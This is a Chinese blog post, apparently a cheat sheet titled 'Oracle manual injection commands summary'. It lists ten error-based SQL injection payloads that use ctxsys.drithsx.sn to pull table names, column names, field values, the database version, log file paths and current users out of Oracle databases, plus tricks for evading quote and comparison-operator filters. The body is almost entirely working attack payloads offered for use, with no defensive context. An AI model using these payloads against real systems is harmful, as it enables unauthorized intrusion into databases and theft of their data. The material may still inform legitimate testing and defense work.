Oracle手工注入命令总结

//若过滤了"" '', 可用not in ('字段')代替

//若过滤了<>,可用!=代替

1. 表名爆破

//返回一条数据

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

2. 字段爆破

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='xx' and rownum=1)) //xx为爆破出的表名

3. 多个字段爆破

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='xx' and column_name<>'x' and rownum=1))   //x为排除显示该数据

4. 字段值爆破

and 1=ctxsys.drithsx.sn(1,(select A from B where rownum=1))  // A为查询的字段 B为表名

5. 数据库版本信息爆破

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))

6. 操作系统信息爆破

and 1=ctxsys.drithsx.sn(1,(select member from v$logfile where rownum=1))

7. 当前连接用户信息爆破

and 1=ctxsys.drithsx.sn(1,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))

8. 数据库名爆破

and 1=ctxsys.drithsx.sn(1,(SELECT DISTINCT owner FROM all_tables))

9. 当前用户爆破

and 1=ctxsys.drithsx.sn(1,(SELECT user FROM dual ))

10. 查询指定字段值数量

select count(*) from user_tab_columns where column_name like 'xx'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值